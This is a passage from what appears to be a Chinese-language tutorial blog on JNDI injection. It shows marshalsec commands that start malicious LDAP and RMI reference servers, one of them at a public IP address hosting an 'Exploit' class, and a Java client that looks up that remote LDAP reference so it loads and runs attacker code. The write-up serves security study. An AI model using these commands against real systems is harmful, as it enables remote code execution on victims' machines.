java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 'http://82.156.2.166:8888/#Exploit' 9000

客户端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package JNDI.RMI;

import com.sun.jndi.rmi.registry.RegistryContext;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Properties;

public class JNDIClient {
public static void main(String[] args) throws NamingException {
Context context = new InitialContext();
context.lookup("ldap://82.156.2.166:9000/Exploit");
}
}

img

工具运用

可以利用工具搭建服务端

marshalsec

marshalsec

命令格式:

1
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]

RMI:

1
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8888/#ExportObject 1099

LDAP:

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 'http://127.0.0.1:8888/#Exploit' 9000

……

小结

FaIth4444师傅的总结

img

Reference

代码审计星球

少走弯路之marshalsec的编译(RMI必备工具) - 铺哩 - 博客园 (cnblogs.com)

https://www.freebuf.com/articles/web/317622.html

https://paper.seebug.org/1091/#jndildap

https://blog.csdn.net/whatday/article/details/107942941